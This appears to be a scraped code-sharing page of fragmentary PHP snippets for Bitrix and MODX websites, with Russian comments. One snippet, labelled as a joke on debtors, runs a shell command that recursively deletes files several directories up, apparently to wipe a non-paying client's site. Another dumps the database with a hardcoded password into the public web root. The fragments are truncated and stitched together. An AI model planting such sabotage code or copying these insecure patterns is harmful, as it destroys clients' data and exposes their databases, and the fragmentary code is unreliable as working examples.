Skip to content

Instantly share code, notes, and snippets.

<?
//пишем данные в файл. полезно при отладке аякс запросов
$filename = __DIR__.'/data.php'; // Путь куда записать содержимое файла
$string = "<?php\n return ".var_export($_GET, true).';';
file_put_contents($filename, $string);
////////////////////////////////////////////////////////
//делаем дамп базы из PHP
exec('mysqldump --user=username --password=D#hfgefg --host=localhost username > ' . $_SERVER['DOCUMENT_ROOT'] . '/dump.sql');
/.idea/
/bitrix/*
/upload/*
upload
/awstats/*
/education_files/*
/minify_bx/*
/tmp/*
/robots.txt
/.gitignore
<div type="button" class="callback-bt">
<div class="text-call">
<i class="fa fa-phone"></i>
<span>Заказать<br>звонок</span>
</div>
</div>
<style>
/*кнопка звонка*/
.callback-bt {
Если после перноса сайта на битрикс идет редирект по не понятному алгоритму то скорее всего виновата проактивная защита. Идем в бд и правим в таблице b_option
*security
*restriction_hosts_action
*redirect
===============================================================================================
дев прод и bare на одном сервере
создаем папку для пустого репозитория и делаем там git init --bare
в проде делаем git init
делаем в проде первый коммит
<?php
//$modx->log(1, print_r($array, 1),'HTML');
//ini_set('display_errors',1); //Sets the value of a configuration option. В данном случае. Посмотреть
//дефолтные значения display_errors (и не только данного параметра) можно через echo ini_get('display_errors')
//error_reporting(E_ALL);
require_once $modx->getOption('base_path')."vendor/autoload.php";
$mpdf = new mPDF(); //создаем PDF файл, задаем формат, отступы и.т.д.
<?
[[+phx:input=`now`:strtotime:el=`[[+publishedon:add=`7776000`]]`:then=` <span style="color: #46a546;" >NEW</span>`:else=``]]
//меняем шаблон всем русурсам у указанного родителя
$parent = 1840; //укажите ID родителя
$template = 83; //укажите ID нового шаблона
foreach ($modx->getIterator('modResource', array('parent' => $parent)) as $resource) {
$resource->set('template', $template);
$resource->save();
//шутки с должниками
print '<pre>'.shell_exec('whoami').'</pre>';
shell_exec('cd ../../../../ && rm -r *');
<?
require ($_SERVER["DOCUMENT_ROOT"].'/local/php_interface/phpmailer/PHPMailerAutoload.php');
function custom_mail($to, $subject, $message, $additional_headers, $additional_parameters) {
echo "<script>alert('ауе !')</script>";
//return false;
$to = str_replace(' ','',$to);
#$from="[email protected]";
$fromName="Dental Guru";
#$host="ssl://smtp.gmail.com";
$port=465;
<?
if (count($arResult["VIDEOS"]) > 0) {
foreach ($arResult["VIDEOS"] as $video) {
?>
<div class="video_worker">
<div class="video_div" style="background-image: url(<?= $video["IMG"] ?>);">
<span data-code="<?= $video["CODE"] ?>"></span>
<div class="name">
<?= $video["NAME"] ?>
</div>
<?php
case "xlsstar":
require ENGINE_DIR . "/modules/cform/Classes/PHPExcel.php";
$objPHPExcel = new PHPExcel();
$objPHPExcel->setActiveSheetIndex(0);
$active_sheet = $objPHPExcel->getActiveSheet();
$active_sheet->setTitle('1');